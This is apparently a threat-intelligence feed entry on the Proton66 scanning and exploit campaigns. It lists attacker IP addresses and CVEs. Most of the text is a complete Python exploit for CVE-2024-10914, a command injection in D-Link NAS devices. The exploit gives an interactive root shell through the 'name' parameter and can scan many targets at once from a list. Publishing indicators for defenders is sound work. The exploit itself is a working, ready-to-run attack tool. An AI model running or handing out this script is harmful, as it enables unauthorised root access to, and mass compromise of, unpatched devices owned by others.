Trustwave SpiderLabs has identified ongoing mass scanning and exploit campaigns originating from the Proton66 ASN, involving vulnerability scanning, exploit attempts, and phishing activities. These campaigns target multiple sectors, especially technology and financial organizations. The activity is linked to bulletproof hosting services advertised on underground forums, with connections to SuperBlack ransomware operators distributing critical exploits. The investigation also noted potential rebranding and IP address shifts among underground hosting providers, indicating relationships between them.

AI Analysis

Indicators of Compromise

• ip: 193.143.1.33
• ip: 45.134.26.124
• ip: 45.134.26.38
• ip: 45.134.26.80
• ip: 45.134.26.81
• ip: 45.140.17.21
• ip: 45.140.17.98
• ip: 91.212.166.65
• cve: CVE-2024-10914
• cve: CVE-2024-41713
• cve: CVE-2024-55591
• cve: CVE-2025-0108
• cve: CVE-2025-24472
• ip: 193.143.1.64
• ip: 193.143.1.65
• ip: 193.143.1.78
• ip: 45.134.26.104
• ip: 45.134.26.199
• ip: 45.134.26.8
• ip: 45.135.232.103
• ip: 45.135.232.108
• ip: 45.135.232.171
• ip: 45.135.232.174
• ip: 45.135.232.24
• ip: 91.212.166.27
• ip: 91.212.166.60
• ip: 91.212.166.62
• exploit-code: # Exploit Title: D-Link DNS_340L - OS Command Injection # Date: 2026-07-16 # Exploit Author: Jared Brits (K3ysTr0K3R) # Vendor Homepage: https://www.dlink.com/ # Version: DNS-320 (v1.00), DNS-320LW (v1.01.0914.2012), DNS-325 (v1.01, v1.02), DNS-340L (v1.08), and possibly others # Tested on: D-Link DNS-320 # CVE: CVE-2024-10914 # CVSS Score: 9.8 (Critical) # Description: The /cgi-bin/account_mgr.cgi script on several D‑Link NAS devices is vulnerable to # unauthenticated command injection. The cgi_user_add command accepts a 'name' parameter # that is directly concatenated into a system() call without any sanitisation. # By injecting a semicolon‑terminated command, an attacker can execute arbitrary # operating system commands with root privileges. # # Confirmed affected models include DNS‑320, DNS‑320LW, DNS‑325, and DNS‑340L. # D‑Link has officially declared these products End of Life and will not release # a fix for this issue. There is evidence that this vulnerability is # already being exploited in the wild. The CVSSv3 base score is 9.8 (Critical). import re import requests from rich import print import argparse from alive_progress import alive_bar from prompt_toolkit import PromptSession from prompt_toolkit.formatted_text import HTML from prompt_toolkit.history import InMemoryHistory from concurrent.futures import ThreadPoolExecutor, as_completed def ascii_art(): print("[bold bright_magenta] _______ ________ ___ ____ ___ __ __ _______ ____ _____ __[/bold bright_magenta]") print("[bold bright_magenta] / ____/ | / / ____/ |__ \ / __ \__ \/ // / < / __ \/ __ < / // /[/bold bright_magenta]") print("[bold bright_magenta] / / | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_[/bold bright_magenta]") print("[bold bright_magenta]/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/ / /_/ /\__, / /__ __/[/bold bright_magenta]") print("[bold bright_magenta]\____/ |___/_____/ /____/\____/____/ /_/ /_/\____//____/_/ /_/[/bold bright_magenta]") print("") print("Coded By: Jared Brits (K3ysTr0K3R)") print("") requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) payload = ["id"] endpoint = "/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'" headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'} def check_vulnerability(target): for command in payload: url = f"{target}{endpoint.format(command)}" try: response = requests.get(url, headers=headers, timeout=10, verify=False) response.raise_for_status() matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text) if matcher: print(f"[green][+] [/green]The target appears to be vulnerable") print(f"[green][+] [/green]Response: {matcher[0]}") return True except requests.RequestException: pass def exploit(target): session = PromptSession( HTML("<ansicyan>Interactive Shell:</ansicyan> "), history=InMemoryHistory(), ) print("[blue][*] [/blue]Interactive session shell started. Type 'exit' to quit") print("") while True: try: command = session.prompt(HTML("<ansicyan>~$</ansicyan> ")).strip() if command.lower() in ["exit", "quit"]: print("[blue][*] [/blue]Exiting interactive session") break url = f"{target}{endpoint.format(command)}" response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: output = re.sub(r"Content-type:.*\n?", "", response.text).strip() print(output) else: print(f"[yellow][!] [/yellow]Command failed with status code: {response.status_code}") except KeyboardInterrupt: print("\n[blue][*] [/blue]Exiting interactive session") break except requests.RequestException: print(f"[yellow][!] [/yellow]An error occurred") def vuln_spray(target): for command in payload: url = f"{target}{endpoint.format(command)}" try: response = requests.get(url, headers=headers, timeout=10, verify=False) response.raise_for_status() matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text) if matcher: return True except requests.RequestException: pass def scan_file(file_path, threads): with open(file_path, 'r') as file: targets = [line.strip() for line in file if line.strip()] with alive_bar(len(targets), title="Scanning Targets", enrich_print=False) as bar: with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(vuln_spray, target): target for target in targets} for future in as_completed(futures): bar() target = futures[future] try: if future.result(): print(f"[green][+] [/green]Target [bright_red]{target}[/bright_red] is vulnerable") except Exception: pass if __name__ == "__main__": ascii_art() parser = argparse.ArgumentParser(description="A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)") parser.add_argument("-u", "--url", help="Single target URL to test") parser.add_argument("-f", "--file", help="File containing list of target URLs to scan") parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads to use for scanning (default: 5)") args = parser.parse_args() if args.url: print("[blue][*] [/blue]Checking if the target is vulnerable") if check_vulnerability(args.url): print("[blue][*] [/blue]Starting interactive session shell") exploit(args.url) else: print("[red][-] [/red]Target is not vulnerable") elif args.file: print(f"[blue][*] [/blue]Scanning targets from file: [bright_red]{args.file}[bright_red]") print(f"[blue][*] [/blue]Using {args.threads} threads for scanning") scan_file(args.file, args.threads) else: print("[red][-] [/red]Please provide either a URL with -u or a file with -f")